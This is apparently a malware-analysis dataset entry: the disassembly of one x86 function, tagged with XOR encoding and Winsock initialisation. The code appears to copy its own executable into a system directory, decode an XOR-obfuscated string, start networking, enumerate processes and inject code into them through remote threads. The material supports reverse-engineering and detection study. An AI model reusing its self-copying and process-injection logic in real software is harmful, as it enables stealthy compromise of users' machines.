Function at 0x42a168
Capabilities:
Encode data using xor
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov eax, 0x42a0d0
call fcn.00405a04
xor eax, eax
push ebp
push 0x42a646
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x42c478]
cmp dword [eax], 1
je 0x42a62b
push 0x104
push 0x42da38
push 0
call fcn.00405b28
mov eax, 0x42da38
call fcn.00407160
mov ebx, eax
mov al, byte [ebx + 0x42da37]
call fcn.004027d8
cmp al, 0x45
je 0x42a2af
push 0x104
push 0x42da38
call fcn.00405b48
mov edx, 0x42a658
mov eax, 0x42da38
call fcn.00407248
push 0
push 0x42da38
lea edx, [ebp - 0x10]
xor eax, eax
call fcn.00402780
mov eax, dword [ebp - 0x10]
call fcn.00403ab8
push eax
call fcn.00405aa8
test eax, eax
jne 0x42a254
push 0x42da38
push 0x104
call fcn.00405b60
mov edx, 0x42a658
mov eax, 0x42da38
call fcn.00407248
push 0
push 0x42da38
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402780
mov eax, dword [ebp - 0x14]
call fcn.00403ab8
push eax
call fcn.00405aa8
test eax, eax
je 0x42a2b4
mov dword [0x42db3c], 0x44
push 0x42db3c
call fcn.00405b40
push 0x42db80
push 0x42db3c
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x42da38
call fcn.00405ac0
test eax, eax
je 0x42a2b4
push 4
push 0
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00402780
mov eax, dword [ebp - 0x18]
call fcn.00403ab8
push eax
call fcn.00405bc0
jmp 0x42a62b
call fcn.00429eec
xor ebx, ebx
mov eax, 0x42c27c
mov dl, byte [eax]
xor dl, 0xd
mov byte [eax], dl
inc ebx
inc eax
cmp ebx, 0xd
jne 0x42a2bb
mov edx, 0x42a664
mov eax, 0x42c28c
call fcn.00407248
mov edx, 0x42a668
mov eax, 0x42c28c
call fcn.00407248
push 0x42d8a0
push 0x101
call sub.wsock32.dll_WSAStartup
push 0x42a670
call fcn.00405b30
mov esi, eax
mov edx, 0x42a67c
mov eax, esi
call fcn.004291f0
mov dword [0x42d700], eax
mov ebx, dword [0x42d700]
inc ebx
mov edi, dword [ebx]
lea eax, [edi + 4]
add ebx, eax
push 0x1c
push 0x42d704
push ebx
call fcn.00405c08
mov ebx, dword [0x42d708]
jmp 0x42a339
add ebx, 4
cmp byte [ebx], 0x58
jne 0x42a336
cmp byte [ebx + 1], 0x58
jne 0x42a336
cmp byte [ebx + 2], 0x58
jne 0x42a336
mov dword [0x42d724], ebx
mov eax, dword [0x42d724]
cmp dword [eax + 0x14], 0
jne 0x42a62b
mov eax, dword [0x42d724]
mov ebx, dword [eax + 4]
add ebx, dword [0x42d708]
mov eax, 0x429698
sub eax, 0x42925c
mov dword [0x42d720], eax
mov edx, ebx
mov eax, 0x42925c
mov ecx, dword [0x42d720]
call fcn.004026c8
add ebx, dword [0x42d720]
mov dword [0x42d728], ebx
mov ebx, dword [0x42d728]
mov eax, dword [0x42d724]
mov eax, dword [eax + 4]
mov dword [ebx], eax
mov edx, 0x42a68c
mov eax, esi
call fcn.004291f0
mov dword [ebx + 0x50], eax
lea ecx, [ebx + 0x54]
lea edx, [ebx + 0x64]
mov eax, dword [ebx + 0x50]
call fcn.0042986c
mov edx, 0x42a6a0
mov eax, esi
call fcn.004291f0
mov dword [ebx + 0x68], eax
mov eax, dword [ebx + 0x68]
inc eax
mov eax, dword [eax]
mov dword [ebx + 0x6c], eax
mov edx, 0x42a6bc
mov eax, esi
call fcn.004291f0
mov dword [ebx + 0x70], eax
mov edx, 0x42a6d4
mov eax, esi
call fcn.004291f0
mov dword [ebx + 0x74], eax
mov edx, 0x42a6ec
mov eax, esi
call fcn.004291f0
mov dword [ebx + 0x78], eax
push 0x42a704
call fcn.00405b30
mov esi, eax
push 0x104
mov eax, dword [0x42d728]
add eax, 0x88
push eax
push esi
call fcn.00405b20
lea eax, [ebx + 0x88]
push eax
call sub.KERNEL32.DLL_GetStdHandle
add eax, eax
mov word [ebx + 0x80], ax
mov ax, word [ebx + 0x80]
add ax, 2
mov word [ebx + 0x82], ax
xor eax, eax
mov dword [ebx + 4], eax
call dword [ebx + 8]
mov dword [ebx + 0x7c], eax
push 0x42a710
call fcn.00405b30
mov edx, 0x42a720
call fcn.004291f0
mov edx, dword [0x42d728]
mov dword [edx + 8], eax
mov edx, 0x42a734
mov eax, esi
call fcn.004291f0
mov edx, dword [0x42d728]
mov dword [edx + 0xc], eax
mov edx, 0x42a744
mov eax, esi
call fcn.004291f0
mov edx, dword [0x42d728]
mov dword [edx + 0x14], eax
mov edx, 0x42a754
mov eax, esi
call fcn.004291f0
mov edx, dword [0x42d728]
mov dword [edx + 0x18], eax
mov eax, dword [0x42d728]
lea ecx, [eax + 0x1c]
mov eax, dword [0x42d728]
lea edx, [eax + 0x48]
mov eax, dword [0x42d728]
mov eax, dword [eax + 0x14]
call fcn.0042986c
mov eax, dword [0x42d728]
lea ecx, [eax + 0x31]
mov eax, dword [0x42d728]
lea edx, [eax + 0x4c]
mov eax, dword [0x42d728]
mov eax, dword [eax + 0x18]
call fcn.0042986c
xor edx, edx
mov eax, 2
call fcn.0040a0f0
mov esi, eax
mov dword [0x42d72c], 0x128
mov edx, 0x42d72c
mov eax, esi
call fcn.0040a110
jmp 0x42a593
mov eax, dword [0x42d734]
push eax
push 0
push 0x1a
call fcn.00405bd0
mov ebx, eax
test ebx, ebx
je 0x42a593
push 0
push 5
push 0x42d854
mov eax, dword [0x42d700]
push eax
push ebx
call fcn.00405be0
test eax, eax
je 0x42a58d
mov al, byte [0x42d854]
add al, 0x18
sub al, 2
jae 0x42a58d
push 0x42d720
push 0
mov eax, dword [0x42d855]
sub eax, edi
add eax, dword [0x42d728]
push eax
mov edx, 0x429698
sub edx, fcn.0042957c
sub eax, edx
push eax
push 0
push 0
push ebx
call fcn.00405ac8
test eax, eax
je 0x42a58d
push eax
call fcn.00405a98
push ebx
call fcn.00405a98
mov edx, 0x42d72c
mov eax, esi
call fcn.0040a130
test eax, eax
jne 0x42a51d
mov eax, dword [0x42d724]
mov eax, dword [eax + 4]
mov edx, dword [0x42d724]
mov dword [edx + 0x14], eax
mov dword [0x42d860], 0x42a058
mov eax, dword [0x42d4d4]
mov dword [0x42d86c], eax
mov eax, 0x42a764
mov dword [0x42d880], eax
push 0x42d85c
call fcn.00405e50
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [0x42d4d4]
push eax
push 0
mov eax, 0x42a764
xor ecx, ecx
xor edx, edx
call fcn.00405eac
mov edx, dword [0x42d728]
mov dword [edx + 0x10], eax
jmp 0x42a617
push 0x42d884
call fcn.00405de8
push 0
push 0
push 0
push 0x42d884
call fcn.00405e18
test eax, eax
jne 0x42a60d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42a64d
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.004036a8
ret